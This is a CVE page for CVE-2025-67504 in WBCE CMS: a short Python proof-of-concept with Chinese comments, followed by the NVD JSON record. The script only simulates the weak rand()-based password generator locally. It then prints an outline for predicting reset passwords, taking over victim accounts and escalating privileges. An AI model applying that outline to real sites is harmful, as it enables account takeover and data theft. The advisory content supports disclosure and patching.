CVE-2025-67504

#!/usr/bin/env python3 """ CVE-2025-67504 PoC - WBCE CMS 弱随机数密码生成攻击 注意：此代码仅供安全研究和授权测试使用 """ import subprocess import sys def check_php_rand_weakness(): """检查PHP rand()函数的弱点""" php_code = ''' <?php // 模拟WBCE CMS的GenerateRandomPassword()函数 function GenerateRandomPassword($length = 12) { $password = ''; for ($i = 0; $i < $length; $i++) { $password .= chr(rand(33, 126)); } return $password; } // 生成多个密码观察规律 for ($i = 0; $i < 10; $i++) { srand($i); // 模拟不同种子 echo "Seed $i: " . GenerateRandomPassword() . "\n"; } ?> ''' try: result = subprocess.run( ['php', '-r', php_code], capture_output=True, text=True, timeout=10 ) print("[+] PHP rand() 输出模式分析:") print(result.stdout) if result.stderr: print("[-] Error:", result.stderr) except FileNotFoundError: print("[-] PHP未安装，跳过本地测试") def check_wbce_version(target_url): """检查目标WBCE CMS版本""" print(f"\n[*] 检查目标版本: {target_url}") # 此处需要实际HTTP请求来检测版本 pass def main(): print("=" * 60) print("CVE-2025-67504 PoC - WBCE CMS 弱随机数密码生成") print("=" * 60) check_php_rand_weakness() print("\n[*] 攻击步骤:") print("1. 识别目标网站使用的WBCE CMS版本") print("2. 利用密码重置功能获取预测密码") print("3. 使用预测密码登录受害者账户") print("4. 执行权限提升或数据窃取") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-67504", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:24.237", "lastModified": "2025-12-11T15:52:28.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WBCE CMS is a content management system. Versions 1.6.4 and below use function GenerateRandomPassword() to create passwords using PHP's rand(). rand() is not cryptographically secure, which allows password sequences to be predicted or brute-forced. This can lead to user account compromise or privilege escalation if these passwords are used for new accounts or password resets. The vulnerability is fixed in version 1.6.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-331"}, {"lang": "en", "value": "CWE-338"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wbce:wbce_cms:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.5", "matchCriteriaId": "D38CBB88-838C-4D43-B04B-0923D07D2F08"}]}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/338.html", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://github.com/WBCE/WBCE_CMS/commit/5d59fe021a5c6e469b1bf192b72ca652e54278f6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-76gj-pmvx-jcc6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-76gj-pmvx-jcc6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}